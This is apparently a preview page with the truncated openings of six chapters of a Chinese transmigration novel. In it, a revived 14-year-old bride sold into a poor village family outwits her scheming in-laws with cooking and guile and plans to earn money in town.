《种田摆摊小食日常》 1. 冲喜 《种田摆摊小食日常》全本免费阅读 二月的清晨天还有些黑,杏花村里的公鸡才打了两次鸣,就有一辆板车摇摇晃晃地从村道里经过。车轮碾过刚下过的雨的石子路,溅了拉车人一裤腿的泥点子。 好冷。 板车上坐着一位盖着红盖头的姑娘,她的指尖忽然动了动。 拉车人约莫又走了三里地,等到天边泛起了鱼肚白,才在一户屋子不远处停下,此刻门口已经有两人在朝着远处张望。 “这死老头说是这个点送到,咋还不来?收了我们沈家五两银子,还想赖账不成?” 李凤娟手心攥着一条红手绢,穿着一件碎花小袄,在自家门口直打转。二月里的天还是寒凉,说出的话还冒着热气,她脸上被冷风冻得发红,心里却是一肚子火。 "娘,这不是来了吗?" 她的二儿子沈二贵垫着脚不断地张望,终于望见刚刚那辆板车。他登时喜上眉梢,朝着远处大喊,“快点过来啊,耽误了吉时可咋整!” 吴老头拉着板车的手一颤,他看了板车上的人一眼,脚底有几步虚浮,咬了咬牙,还是拉动了车子。 “你这也太慢了!” 李凤娟扭着身子走到吴老头跟前,脸上浮现出止不住的笑意,大力拍了拍他的肩膀,转头朝着身后的沈二贵道,“儿啊,来搀你大嫂一把。” “这,这,让我来搀就行了。” 吴老头的眼皮跳动了一下,神色有些躲闪,他率先一步抓住了板车上新娘子的肩膀,将她从板车上搀扶下来,沈二贵连新娘子的红盖头都没碰到。 见自己抓了个空,沈二贵的面色黑了几分,顿时生出了一些恼意。 也听娘说过这位未来大嫂生得好看,他低头瞧了瞧,又见她手臂纤细,脑海里自动浮现出一张西施般的脸来,更想先比大哥瞧瞧这未来大嫂的样貌。 想到瘫痪在床的大哥,要娶得这样一位美娇娘,而自己的媳妇儿却到现在还没有着落,心里愈发不平。 一条红布从沈二贵的手心里滑过,还未等吴老头搀到门口,新娘子的红盖头便一下子被揭开了。 本来脸上还带着笑意的李凤娟,霎时间脸都黑了。她一把抓住吴老头的领子,语气中有藏不住的怒意,“好啊吴老头,你瞧瞧,这都死了!” 那红盖头下的人双眼紧闭,脸色煞白,哪还看得出半点儿生机。 原是要将一位死人嫁过来! 这可气坏了李凤娟,她生得五大三粗,手脚并用,对着吴老头又踹又打,还咬了他膀子一口,“把银子还来!” 吴老头疼得龇牙咧嘴,费力推开她,扶着新娘子的身子后退了几步,“五两银子,你还出去打听打听,还能买到什么样式的?你那儿子不也是没几口气儿了......” 这样大的动静,自然是惊动了一旁的邻居们,纷纷出来瞧热闹。 好饿。 绞痛的肠胃如同火烧,强烈的饥饿感占据了吴怀夕的意志,她记得她是过劳猝死的,什么时候成了饿死鬼? 太饿了。 头昏昏沉沉的,眼前一片漆黑,耳边是嘈杂的吵闹声,是什么声音...... “五两银子还嫌少!你家一年能挣得到五两吗?我儿子生龙活虎着呢!赶紧将五两银子还来!你这个黑心肝的,看着我孤儿寡母好欺负,送个死人给我,真是晦气!二贵拦着他,让他拿银子来!” “娘说的是,你这人看着老实,心肝也忒黑了,这不是咒我大哥吗!” 吴怀夕费力地动了动眼皮。是在买卖什么? 她努力去看清眼前的状况,乌黑门洞的、吵闹的...... 一丝光亮照入了她的眼中,她终于睁开了眼睛。 眼前是一位穿着碎花袄的中年女人和一位小伙,正在她倚靠的人腰间摸来摸去。 而周围,似乎有一帮人在一旁指指点点。 “二贵他娘啊,这这这......”隔壁的赖大娘指着吴老头怀里慢慢睁开眼睛的人,一脸惊恐,支支吾吾,“你家儿,儿媳妇儿活了!” 吴怀夕干裂的唇角动了动,努力吐出了几个字。 “好饿。” 这拉扯的三人听到赖大娘这样一叫唤,才停止了纠纷。 吴老头低头一瞧,果然看到了自家闺女睁开的眼睛,他原本那张被李凤娟掐得涨红的脸立马欣喜。 他收拾收拾自己被挤乱的衣服,努力扶了扶自家闺女,咧着一口黄牙十分得意地看着李凤娟。 “哪里死了,瞧见没,俺闺女这不是还活着吗?” 什么死了活了。 吴怀夕靠在扶着她之人的肩膀上,一点儿力气都没有。 好饿啊。这哪啊。好想吃东西。 李凤娟狐疑地走到吴老头跟前,浑身上下检查了一番,确保怀中的人尚有生息,脸色才稍微平静了一点儿,“模样看起来还算标志,就是太瘦了。” 吴老头心花怒放,将刚刚二人还未寻到的银子往怀里使劲塞了塞,藏得更深了,“既然醒了,那就赶紧拜堂吧,别耽误了时辰。” “拜什么堂!你还真当我沈家是吃素的?”李凤娟双手环胸,其实气势汹汹,“说好的是个能生养的闺女,你倒好,不仅带来个瘦得跟个干柴似的丫头片子,还半死不活的......这能值五两?” 吴老头瞧了瞧外头,估摸着日子也不早了,回去还要走好一阵子,自己本想嫁死人的诡计被识破了,他咬了咬牙,“那你想咋样?” “退回来一两。” “你疯了!”吴老头一听见银子要还回去,急不可耐,“我这样的大闺女,就值四两银?样貌是鼎鼎的好,你们杏花村都找不出来一个比我闺女样貌好的哩。别人娶个媳妇儿还要备上个十两呢!这不配沈大贵绰绰有余,不成!” 他觉得这李凤娟不可理喻,拍了拍手心,索性连看拜堂都不愿看了,将吴怀夕往李凤娟怀里一送,正欲走,却被李凤娟挡在了跟前。 吴怀夕总算听明白了,这是在买卖她......但,能不能先吃饭。 “不成你就再拉回去,我再给我家大贵寻一个便是,只是那五两银子,你一个铜板都拿不到。” 吴老头本就好赌,家里欠了不少钱,媳妇儿又刚给他生了个大胖小子,缺钱的很。本来凭自家闺女的样貌,等到及笄,自然有的是上门提亲的人,十两聘礼钱,都能挣到。 可如今家里实在是揭不开锅,需要拿这钱救急。若是连这几两都拿不到...... 吴老头狠狠咬了咬嘴唇,伸手去怀中掏那个刚刚被他塞得极里面的钱袋子,从中艰难地掏出了碎银子,“四两就四两!” 李凤娟美滋滋地接过那碎银子,此刻立马掬了一张笑脸,大声说道,“亲家公,这就拜堂吧。” “哎哟,二贵她娘,你这儿媳妇刚刚喊着饿呢。” 谁,是哪位好人? 真的好饿啊! 一旁看热闹的赖大娘将脖子伸出来老远,她一边瞧着吴怀夕的模样,一边剜了吴老头一眼,“你瞧瞧,模样是俊俏的,就是也忒瘦了点,估摸着在家里生活得苦呢。” 她话锋一转,随即笑了笑,“你这娶媳妇儿怎么什么都没准备,咱们邻里之间,难道吃不到你一碗甜锅糍和红鸡蛋了?” 李凤娟本想偷摸着将吴怀夕娶进来,所以才与吴老头说着让他早点儿将人送来。 要是大张旗鼓,保不齐还要准备两桌席面,几篮子红鸡蛋的,真是费钱。 听了赖大娘的话,她刚刚掬着的笑脸,又不见了。 “吃......怎得不吃?” 李凤娟虽然抠门,但也极爱面子 2. 交涉 《种田摆摊小食日常》全本免费阅读 邻居们早就散去,连吴老头都脚底抹油溜了,除了窗户上歪歪扭扭的“喜”字与盖在吴怀夕头上的红盖头,完全瞧不出一点儿成亲的喜庆样子。 已是申时,这场好笑的成亲,连席面都没有。刚刚热闹了一阵,现下倒是冷清起来,屋子里就只剩下吴怀夕与沈氏母子二人。 “你呀,以后得好好照顾大贵儿,他身子不好,你需要每日给他翻身擦背。” 李凤娟坐在了椅子上,喝了两口热水,眼珠子咕噜转了转,像是想到了什么妙计,“至于这传宗接代的事,我们家二贵儿......” 她的话还只是说到一半,耳边就有沈二贵猥琐的笑声,“娘,说什么呢,福娘现在是我的大嫂。” “嗨,都一样。”李凤娟笑了笑,擦了擦额上因忙碌而渗出的汗,语重心长地说,“咱们老沈家可不能没有后。” 吴怀夕要嫁的人是沈氏的大儿子沈大贵,但他是个瘫痪的,根本起不来身。 沈大贵也不是天生瘫痪的,只是他是个暴脾气。早年学别人做生意赔得血本无归,但他却觉得是给他货的掌柜拿了一批次货给他,便一个人冲进了别人家里讨要个说法。按理说货卖不出去,又怎么会是掌柜的过错,何况卖货的掌柜本就给的并不是什么次货。 可那沈大贵却一口咬定是卖货掌柜的问题,竟是大过年的坐在人家家门口哭天嚎地。那天夜里寒冷,沈大贵嚎了大半夜根本没人理他,人家门又关得紧,他打开不得,只好愤愤而去。 没想到夜路走了一半,便遇一恶犬,对着沈大贵就是一顿追赶。沈大贵害怕得紧,况且冬夜泥地早就结冰,恶犬狂追不舍,他一不留神就跌入河中。 河中的薄冰被沈大贵砸出一大个窟窿,河上有恶犬,河下水冰凉,沈大贵挣扎不起,抱着块碎冰到第二日才被人发现。 送去整治了许久,可大夫说冻坏了根本,能保住性命已是难得,至于站起来,那是想都不敢想的。 而弟弟沈二贵,说是要去好好读书,考上杏花村第一个童生,从李凤娟那里骗来的笔墨纸砚钱,全叫去偷偷买了酒喝,或是去村里的小赌坊子赌上一番。村里的人个个知道他什么德行,也就是李凤娟日日相信她的二儿子会有出息,日后中个举人老爷回来。 坐着的吴怀夕握紧了拳头,几乎把指甲嵌进肉里。 说得好像挺哲学的。 这是要她一女侍二夫?李凤娟竟是打了个好算盘。 若福娘还活着,岂不是进了个魔窟?一想到这几年未下床的人,身上的味道…… 还要翻身擦背。 吴怀夕只有一个想法,逃吧! “大嫂,我带您去看看大哥吧。” 沈二贵听了刚刚李凤娟的话,心中愈发得意,笑容更是谄媚,伸手就要去拉吴怀夕的衣袖。 红盖头下,只见一只关节肿大,粗糙黝黑的手。 “娘。” 吴怀夕一下子揭开了红盖头,顺势将红盖头扔到了沈二贵的手里,站起了身子,往李凤娟身边走了几步,离沈二贵远了些。 一句脆生生的“娘”喊得李凤娟心花怒放,她又给李凤娟桌上的碗添了些热水,“您说得极是,今日您受累了,福娘给您做些吃的来?” 她本就十四岁,嗓音听起来格外清甜又带着些乖巧懂事。 刚刚那些锅糍全叫邻居们吃了去,为了拜堂,自己竟是连半碗都没吃上。经吴怀夕这样一提醒,肚子也跟着叫嚣起来。 “确实是个懂事的。”李凤娟心里很是满意,她指了指院子边上那间小小的屋子,“那儿就有灶台。” 若不是这具身子三天之中,只吃了一碗锅糍,眼前发黑的迹象接踵而来,谁乐意给他们做吃的。 但若是不说,保不齐还未到晚上就要被送到那沈大贵的房里。 后厨很是破旧,只有一个老旧的橱柜和泥砌的灶台,环顾四周,还真是家徒四壁。 米缸里的米马上见底,菜篮里只有一些没什么水份的荠菜,一旁的篮子里只剩下两个鸡蛋,但吴怀夕出奇意外地在橱柜里发现了半袋面粉。 吴怀夕拿起橱柜里的半袋面粉,用手指捻了捻,是精面。 看来住的不讲究,吃的倒是讲究,尽吃些贵的。 今日,食面。 她取了一些面粉,在碗中加了一些凉水,用筷子将它搅成面絮后抓起一旁瓦罐中的粗盐撒了进去。 待面絮被揉成了面团,她取了一只盘子,倒扣在面团上。 这等面团的功夫,吴怀夕也没有闲着,她将灶火烧得极旺,又从米缸里那舀了半碗米,洗净后混了些水就往锅里倒。 约莫过了一刻,便有米香味飘散开来。吴怀夕给自己盛了一碗米汤,放在一旁凉着。 她拿了些菜篮里蔫蔫巴巴的荠菜,没有用刀切开,连带根茎胡乱扔进锅里。 火烧得更旺了,过了二刻,便有了一股糊味儿。 吴怀夕拿了两只空碗,将这锅糊饭给盛了起来。待这些做完,她还不忘了去院子里拔了几棵刚刚冒尖的野葱。 米汤已经放凉了不少,吴怀夕抱着碗牛饮,才抚慰了她一点儿肠胃,让她有了些力气。 这会子烧饭的功夫,面团也差不多发好了。 她从碗里取出粗糙的面团,使劲揉搓,将面团里的气揉走。绰起一旁的擀面杖将面团擀平,在正反两面都洒了些干面粉,将面饼从两端卷起,继续擀。 多擀上几次,将面饼擀得又薄又均匀。 将这面饼折成几层,用刀子切成正好的大小,撒一些干面粉,拉成了面条。 这做面条的手艺,吴怀夕实在是手到擒来,毕竟前世的自己便是靠着这些发家的。 她从十四岁开始摆摊,在天桥底下炸过串,在大学城夜市炒河粉。开过餐馆,当过老板,最终猝死。 吴怀夕的脑子里快速闪过自己前世都能出上一本书的人生,真是太搞笑了。 钱都没来得及花! 油碗里没剩多少油,她小心地擓了一勺,以免让李凤娟发现。 把糊底的锅洗净后,起锅烧油,将碗里剩余的最后两个鸡蛋全都磕在锅里。 “刺啦”,鸡蛋遇到热油,传出阵阵蛋香。 吴怀夕走到门口,将门关上了,不让鸡蛋的香味飘到前堂去。 待鸡蛋煎熟,加入热水后将所有面条都倒入锅里,撒上些刚刚摘好的野葱。 鸡蛋的两边被她煎得焦脆,而内里却不同,用筷子一戳,还能流心。蛋液浸润到面条中,劲道的面条与新鲜的野葱融合在一起,香弹爽滑。 在吴怀夕的记忆深处,福娘似乎是从未这样吃上过一顿面条。 吃吧,吃吧,以后咱们吃更好的。 “福娘,饭还未做好吗?” 坐在前堂喝了三碗热水的李凤娟今日好不容易得了空,一点儿都不愿意再挪到灶台旁的,只能在前堂朝着吴怀夕这儿大喊,语气中尽是不耐。 “已经做好了!” 当吴怀夕将这两碗糊米饭端上桌时,李凤娟的脸色一沉,随即责怪道,“福娘,我听吴老头说,从前家里的活都是你做的,这饭是怎么回事?你这不是糟蹋粮食吗!” 李凤娟望着这黑黢黢的米饭,眉毛拧作一团。 沈二贵也在一旁盯着面前的糊米饭,握着筷子的手迟迟没有动。 “娘。” 吴怀夕的眼中噙了泪,说话声也哽咽起来,“从前福娘在家里,都要将吃的让给弟弟,爹怕我偷吃,连灶台都不让我靠近。娘,娘您若是不喜欢,福娘便拿去丢了,重 3. 设计 《种田摆摊小食日常》全本免费阅读 李凤娟是最疼爱她的大儿子沈大贵,虽说沈家是杏花村有名的破落户,家中房顶尽是用茅草封顶,连几片像样的瓦片都没有,但依旧挪了一间最大的房给他。 吴怀夕刚刚踏进门槛,便一股奇怪的臭味扑面而来,就像前世小吃街后巷,夏日里放了好几天的泔水味。 房间潮湿阴暗,除了墙边上方一处狭小的通风口外,连扇窗户都没有。外头的太阳还未落山,从通风口处隐隐落下一道光线,照在屋子最里面的床上。透过这一道微弱的光线,依稀能看出床上躺着一个人。 “嫂嫂这就要进去了吗?让我听什么呢?” 沈二贵抓住门框,极其不愿意让吴怀夕进到屋子里去。 吴怀夕用衣袖遮住了脸,先在外头深吸一口气,才慢慢开口,“娘说了,我得先侍奉相公。可娘也说,沈家不能没有后......” 她露出半边脸,朝着沈二贵眨了眨眼睛,眼含秋水,小声说道,“若是相公知道,定是要发火的。但娘的话,我也是听的。” 吴怀夕用手狠拧了一下自己的胳膊,疼得脸都红了几分,她悠悠开口,“夜半子时,我就在后厨那儿等你,可好?” 说罢,又将眼睛瞥向了别处,做出一副欲拒还迎的样子来。 “好好好!” 沈二贵色欲熏心,听了这样的话,心中欢喜,脸上更是藏不住的笑意,本就生的小的眼睛乐得挤作一团,握着门槛的手兴奋地止不住颤抖。 他沈二贵如今二十有八,连姑娘家都手都未摸过。他在杏花村的名声不好,别说没有姑娘愿意嫁给他了,就算有姑娘在村道上遇上他,也是惊惶逃过,是连声招呼都不愿意打的。 现下他有福了,有了这样一位如花似玉、温软如水的大嫂,笑一笑几乎要叫他的心都化了。 沈二贵心中极乐,竟是感谢起老天爷,多亏让他大哥双腿残废,这样的美事才能落到他身上来。 “那二贵儿,我就先进去了。” 吴怀夕将手掌放在唇边,又将身子稍稍离沈二贵近些,凑到他耳边小声嘀咕,“到时候你若是听到外头有乌鸦叫三声,你就出来。” 温热的气息扑在沈二贵的耳畔,他点头如捣蒜。 “一定!一定!” 待打发走沈二贵,吴怀夕才揉了揉眉心,真正踏进沈大贵的屋子。 沈大贵早就听到了门口的动静,他一双眼睛一直死死地盯着门口看,奈何门口的人说话太清,根本听不清,只能窥得他的弟弟沈二贵离他刚刚过门的妻子,很近很近。 若不是因为双腿残疾,今日娶妻,哪还有他沈二贵什么事! 待吴怀夕走近,沈大贵借着那一点点光,看清了他媳妇儿的模样。 她身形纤细,虽说听闻只有十四岁,但容貌清丽,两颊带着一抹绯红。走近他时,更是含着浅浅的笑。 好标志。 沈大贵找不出其他的词来形容眼前之人的模样,怪不得吴老头在与他家做买卖时,吹嘘着他闺女的模样是鼎鼎地好,就是十里八乡都找不出一个来的。 “相公。” 吴怀夕轻轻地喊了一声,走到沈大贵的身边。 他的身边,更臭了。 她眉毛一颤,使劲憋了憋气。 “你与二贵儿在门口说什么?” 见到媳妇儿双颊带红,眼角还似有泪光,又想到沈二贵方才在门口嬉皮笑脸的模样,心中更加疑惑。 “没,没什么。” 吴怀夕支支吾吾,不去看他。见一旁的桌上摆着一只铜盆,盆边挂着一条帕巾,便走到一边,“相公,我给你擦擦身子吧。” 她挽起衣袖,露出了半截手臂。 沈大贵的眼神就没有离开过吴怀夕,立马就见到了她手臂上的红痕,似是刚刚才起的。 “不擦了!” 沈大贵心中明白了不少。 沈二贵竟然对自己大嫂有想法! 沈大贵并不知晓冬日里的那条河让他冻坏了根本,李凤娟这样疼爱儿子,如何舍得告知他。他一直觉得自己只是双腿不能动了,别的地方都是好的。 想到自己已经年逾三十,连个媳妇儿都没有,又想女人想得紧,所以才在今年冬日里做出一副病重的模样,多咳嗽几声,劝得李凤娟给他娶个媳妇儿冲冲喜。 他心里有着自己的主意。自己不能动,可媳妇儿能动啊,照样还是软香玉在怀,到时候再给他生个大胖小子。 “相公这是怎么了,是娘吩咐我要做的。” 吴怀夕嘴上是这么说,心里却是巴不得离沈大贵更远些。 “她还记得有我这个儿子?”沈大贵的脸上满是怒意,“从今晨到现在,连一口吃得都没送来过!知道是我沈大贵成亲,不知道的,以为是他沈二贵呢!” “相公莫要这样说。” 吴怀夕的声音有些怯生生的,“二贵儿,二贵儿今日是极辛苦的。” 沈大贵听了吴怀夕的话,心中更加愤懑,索性将头转向靠着墙的那侧,不再去理吴怀夕。 李凤娟说的果然没错。 吴怀夕挑了个离沈大贵最远的椅子,在桌边坐了下来,杵着下巴,思绪纷飞。 在给如何逃离这个家,制定一个详细的计划。 约莫过了两个时辰,沈大贵终于受不住了。 吴怀夕可没有听李凤娟的话,给沈大贵送吃食。过惯了躺着便有人将饭喂到嘴边的日子,怎能忍得住一天都不进食。 肚子饥饿的叫声在深夜里格外的喧闹。 “相公是饿了?” 她站起身来,将桌上的蜡烛点燃,拿着蜡烛走到沈大贵的身边。 “对。” “那我给相公做吃得去。”吴怀夕咬了咬嘴唇,“只是夜里,我有些害怕。相公陪我去好不好?” 蜡烛在吴怀夕的脸颊一侧燃烧,烛火跳动,映照在她的眼中,有一种说不尽的温柔可人。 “好是好。”沈大贵看着这样的媳妇儿有些晃神,叹了一口气,“可是你也知道 4. 进镇 《种田摆摊小食日常》全本免费阅读 沈大贵此刻还躺在板车上,野葱饼被他咽得快,回过神来嘴里只有一股葱苦味儿,还未等着自家媳妇儿到来热茶,就见一黑影推开了门朝他扑了过来。 那人不管缘由,只是对他又搂又抱,亲了他满嘴的金津玉液,开口皆是“好嫂嫂!心肝肉!”,还将手伸下去,解起他的裤子来。 “沈二贵!” 沈二贵心中本自得其乐,好不容易等到子时,哪还愿意放过这样的机会,正对着怀中的“美人”动手动脚,这冷不丁地听到这样一声,煞时如同被泼了一盆冰水,立马浇灭了他的邪火。 “大,大哥......” 屋里未点灯,沈二贵又着急忙慌,自然是以为板车上的人是他的好嫂嫂。可他对于自家大哥的声音实在太过熟悉,哪会不识。停下动作的他牙关止不住地打颤,着急忙慌地站起身来,胡乱地提了一把裤子,就想要推门逃走。 “混帐东西!” 沈大贵脸色铁青,一把扯住了沈二贵的衣袖,将他扯了回来,“你嘴里喊的是什么!” 吴怀夕坐在院中的一块石头上,她现在这幅身子实在是干瘦,一定要多吃些养出些肉来才行。 手中的野葱饼光是闻味就是喷香,饼皮起了好几层酥,皮薄酥脆,油香四溢,咬起来“咔嚓”作响。 她将盘中的野葱饼全吃了个干净,几乎要将上牙膛子咬破,又喝了一大碗热水,估摸着时辰差不多了,才悠然起身。 当提着一壶热水的吴怀夕推开屋子的门,用手中的蜡烛,将里头照亮,就见着沈二贵正趴在沈大贵的板车上。 沈大贵现下极度恼怒,只想着训斥沈二贵,刚刚被解开的裤子都未拉上,沈二贵亦是如此,身上的衣物凌乱,全叫吴怀夕一根蜡烛看在眼里。 “相公,二贵儿,你,你,你们......” 吴怀夕惊恐地左顾右盼,几乎将手中的茶壶翻到在地,她努力正了正自己摇摇欲坠的身子,接着立马关上了屋子的门,以免里面的动静太大,惊醒正在熟睡的李凤娟,“相公,这是在做什么。” 茶壶被吴怀夕放在了门槛一旁,她将手中的蜡烛往自己的脸颊一侧,手却扶住了门板。烛火摇曳下,见到的她两道眉毛蹙在一块儿,黯然神伤。 “福娘,事,事情不是你想得那样!” 这样的事被刚过门的媳妇儿抓个正着,沈大贵百口莫辩,而他又不能挪动身子,只好躺在板车上,满脸涨红,“你,你听我给你解释。” 吴怀夕用衣袖抹了一把眼睛,将放在门板上的手放到了心口,抚着心口,又将蜡烛往二人面前那儿摆了摆,“相公,莫要解释了。” “福娘厨艺不佳,所以那野葱饼过了火候,糊了些。相公,你的嘴上沾了糊灰,二贵儿,二贵儿的嘴上也......” 沈大贵与沈二贵面面相觑,果然看见对方的嘴上沾着野葱饼的灰。 吴怀夕用衣袖将脸遮挡起来,衣袖下只能听见她低声抽泣,烛火下也只能看见她因悲伤而不断抖动的身子。 “这,这叫福娘日后怎么见人,不如我这就告诉娘,叫她让相公给我一纸休书,回娘家去!” 沈二贵见着眼前之人娇滴滴的模样,心中怎会怀疑这是吴怀夕的伎俩,自以为是倒了大霉的巧合,叫他扑到了大哥的身上。 沈大贵这人心气极高,自小到底他想要什么,李凤娟没有一样不满足他的。前几年学人做生意,钱倒是没挣着,尽学了些面子功夫,所以弟弟觊觎自己媳妇儿的事,大半夜竟是摸上了他的床,又怎么能让李凤娟知晓。可他哪会知道自己早就伤了根本,而自己弟弟与他媳妇儿的事,又是李凤娟偷偷默许的。 总之,沈大贵为了面子,不会将此事张扬出去,而沈二贵为了不让大哥知道李凤娟的态度,也要把自己与大嫂的事,烂在肚子里。 “别,别告诉娘。” 两人几乎是同时说出这样的话。 吴怀夕前世在餐饮干了近十年,能有不小的成就,除了做出的食物能拿捏人的味蕾,必不可少的也是会左右逢源、察言观色的本事。 这沈大贵与沈二贵两人作什么表现,又该是什么心性的人,全叫吴怀夕摸了个透。 任凭如何解释,可两人就是衣衫半褪,嘴上又都沾有野葱饼的灰,就算是有十张嘴也说不清了。 吴怀夕抬了抬眸,深吸了一口气,“相公,夜里寒凉,一直在这儿也不是办法,福娘拉你回去安睡了吧。” 沈大贵见自家媳妇一脸愁容却依旧咬了咬牙,温柔可人,心中不免怜惜起来,便应了应,让吴怀夕拉他回房了。 然而夜里的媳妇儿并不愿与他睡在一起,只是坐在那桌边的凳子上,每当他开口,媳妇儿便是一句“相公你与二贵儿做出这样的事来,叫福娘现下如何接受!不如让福娘自个儿冷静些日子,好叫福娘说服说服自己。若相公执意如此,不如福娘这就告诉娘,叫她让相公给我一纸休书,回娘家去!” 沈大贵见她哭得梨花带雨,又实在不想宣扬此事,便只好作罢。但他的心中想着等媳妇儿好受些了,一起生个大胖小子。 来这儿的第一夜,吴怀夕便是趴在桌子上睡的,虽然并不自在,但至少心安些。 清晨的吴怀夕起得极早,在没有逃离这个家前,是无法睡上一个好觉的。 “娘,你怎么自己煮饭了,让福娘来吧。” 吴怀夕踏入院子,便已经见着李凤娟在灶台边忙碌着,她将米缸里所剩的一些米全都淘洗了,统统倒进锅里,准备煮一锅白粥。 李凤娟瞥了一眼吴怀夕,想到了她昨日烧糊了的米饭,生怕她再糟蹋了东西,“你以后还是离灶台远些吧,家里的米哪禁得起你这样霍霍。” 吴怀夕心中自是得意,在院子中站了一会,便见着沈二贵走了过来,他打着哈欠朝着李凤娟喊道,“娘,饭做好了没,饿死了。” 李凤娟瞧见沈二贵眼下乌青,一副没有睡醒的样子,又见一旁的吴怀夕脸上含着笑,似有一抹娇羞,心领神会,她笑得合不拢嘴,“快好了,你再等等。二贵啊,家里没有米了,一会用完饭,去买两斗米来,再给你大哥买些药。” 平时家里的采买都是交给沈二贵来的,镇上离得远,家里又没有牛车,本是件苦差事,然而他却乐意至极。 “娘,那米铺又涨了,现下一斗精米,要卖上五十文。还有大哥的药,最近啊,草药都卖得贵的很。” 从前沈大贵还未瘫痪 5. 询价 《种田摆摊小食日常》全本免费阅读 板车一路摇摇晃晃的,伴随着沈二贵东一句好嫂嫂,西一嘴吹嘘自己读了哪些书,镇上也很快便到了。 虽说是冬日里,但镇上却格外热闹,隔着一条街,就能听见不少叫卖的声音。沈二贵拉着吴怀夕穿过这条街,集市上摆满了货物,萝卜、芋头、山药等这些冬日里农作物,样样俱到。 吃食也不少,蒸屉的雾气下,是刚刚出路的新鲜包子,那包子皮薄馅大,肉的三文,素的一文,吸引了不少人。 早上走得急,两人也没来得及吃上李凤娟煮的白粥,沈二贵馋得直咽口水,便去包子摊上买了两只肉包子。刚拿到手里他就着急地咬了一口,余光见自家嫂嫂目不转睛地盯着他瞧,他讪笑了两声,又去摊子上买了一只素包子。 “我瞧着嫂嫂身量纤纤,若是清早就吃这样大肉的,怕是腻坏了肠胃。” 吴怀夕自是知道他心里打得是什么主意,但依旧接过包子,冲着沈二贵浅浅一笑,“二贵儿说的极是。” 包子虽是素的,内里是荠菜香干馅,但素馅里拌了一些猪油渣子,被蒸屉一蒸,油香都浸润在了包子皮上,吃起来也是极有滋味的。 沈二贵抬头看了看头顶上的太阳,估摸着已经到了巳时,眼睛不断向远处张望,心里只想着做今日赌坊子开门的第一批客人,哪还有心思去买米面与沈大贵的药。 “二贵儿,我瞧着你像是有事,是不是马上要春日里了,是关于读书的事?” 这样不寻常的表现很快便被吴怀夕看在眼里,她吃着包子漫不经心地问道。 沈二贵正愁找什么理由溜之大吉,好去赌坊子里快活一把,自家嫂嫂倒是先给他找了一个极佳合理的理由,他眉飞色舞,连忙应答对对对。 吴怀夕勘破了沈二贵的心思,从板车上下来,将手放在板车的手柄上,一脸担忧,“那可是鼎鼎要紧的大事,二贵去办吧,我替娘与相公买东西去。” 沈二贵心里是又得意又犯难,他确实是想溜到赌坊子里去,但李凤娟也是说了,叫他好好盯住吴怀夕。 “嫂嫂,两斗精米可重的很,嫂嫂如何能拿得动?” 吴怀夕指了指一旁的板车,将手里的包子尽数咽下,“我都能拿着板车拉得动相公,拉两斗米自然不在话下。倒是二贵,若是去拜见书院里的先生,拉一辆板车去,怕是不好,我瞧着别人去书院,都是背着箱笼,穿戴整齐,带些束脩礼去的。” “嫂嫂说得是有道理,怎么能拉着板车去书院呢。” 沈二贵像模像样地理了理自己自己的衣裳。 去了赌坊子,也是没有地方放板车的,要是停在外面,叫人随意偷了去,保不齐要挨上一顿责骂。 “但娘说叫我......”沈二贵说得很轻,嘀嘀咕咕的,“若是你逃了......” 吴怀夕瞧着沈二贵心里是极想去的,但是明面上依旧要做出一副为难的样子来,未免儿觉得有些好笑。她继续捂着心口,将声音提高了几分。 “如今我已是你沈家的媳妇儿,怎会逃了去!我的籍契都已经在娘那里,逃走了何处能容得下我!昨夜你与相公的事,已经叫我难堪,如今却还是肆意羞辱我吗,不如我这就告诉娘,叫她让相公给我一纸休书,回娘家去!” 吴怀夕的声音尖细,又充满着啜泣声,引来路人连连回头且窃窃私语。她生得娇俏,用手抹了一把眼泪,活脱脱一副受了极大委屈的模样,叫其他人对沈二贵指指点点。 沈二贵一看围观的百姓越来越多,万一遇到个相识的邻居告诉他娘,这该如何是好。连忙拿了一百文,用布头包着塞进去吴怀夕的手心,“好嫂嫂,好嫂嫂,这说得是什么话啊。嫂嫂用心良苦,是二贵儿的不是了。嫂嫂去买吧,待申时我们在这儿会合!” 吴怀夕拿着那布包,含泪点了点头,千叮万嘱沈二贵不要太累着自己,面对先生要谦逊,到正午记得用饭,不要废寝忘食...... 这把沈二贵感动得一塌糊涂,心底里还骂了一顿自己欺骗嫂嫂,真不是东西。但拿着那一百文与吴怀夕告别后,他摸进了一条小巷子中。估摸着一会儿,他探出了头,确保吴怀夕拉着板车,朝米铺那个方向走去,他才哼着歌,大摇大摆地往赌坊子走。 吴怀夕在昨夜里确实打得是寻个机会让沈二贵带自己去镇上,寻个机会逃走。然而这早上,一路从杏花村走来,见这样的鱼米之乡,见升起的袅袅炊烟,她又改变了主意。 福娘前半生过得辛苦,自己也总是绷紧一根弦,从未好好休息过。若是逃走,她的身上根本没有钱,不仅无法确定下一顿的饥饱,还成了没有籍契的流民,是过不上好日子的。 所以她一定要寻个法子,将放在沈家的籍契拿出来,身上还要有些傍身的银钱,这样日子才有盼头。 沈二贵给她的银钱都是他算好的,知道精米三十文一斗,沈大贵买药需要用上四十文,这一家人都抠门得紧,是一个铜板都不愿意多留给她的。 她称了两斗精米,拿着剩余的四十文便去寻沈大贵一直买药的那间药铺。 镇上的药铺并不大,其实沈大贵的药只是些普通的葛根、赤芍、当归等活血化瘀的药,对他的病并没有什么太大的成效,也只是李凤娟一心盼着儿子能好起来。对她来说,吃药病日后就能好。 称好了药,一付钱,果真是正正好四十文。 “你是沈大贵刚娶的媳妇儿?” 药铺的掌柜今日也寻个新鲜,看着面前的小娘子不仅模样好,举手投足间还透露着一股干练,却嫁给了沈大贵这样的草包,心中未免有点惋惜。 吴怀夕接过他手中的药包,并不回答,反而朝着他莞尔一笑,“掌柜的这儿可收草药?” “你怎知晓?” 药铺掌柜见她眼神澄澈,便也愿意同她多说几句。 “方才我见掌柜称药,见有些药柜中的药已经见底。毕竟冬日里,采药的郎中极少。” 药铺掌柜捋了捋胡须,对吴怀夕又另眼相看了几分。 “不仅我这儿收,县里也收。虽说都是些常见的药,但县里有户姓董的富户,他家大儿子体弱多病,一到冬日里这样湿寒的季节, 6. 商议 《种田摆摊小食日常》全本免费阅读 吴怀夕与各位老太太攀谈了一阵,很快便熟识起来。她嘴甜,说得她们心里欢喜,临走时还给她塞了些菌子与几只柑橘。 她将菌子塞在她的芦花袄子里,虽然不御寒,但藏些菌子还是看不出异样。申时已到,她便将板车拉倒原来的地方,坐在板车上,等着沈二贵从赌坊子里出来。 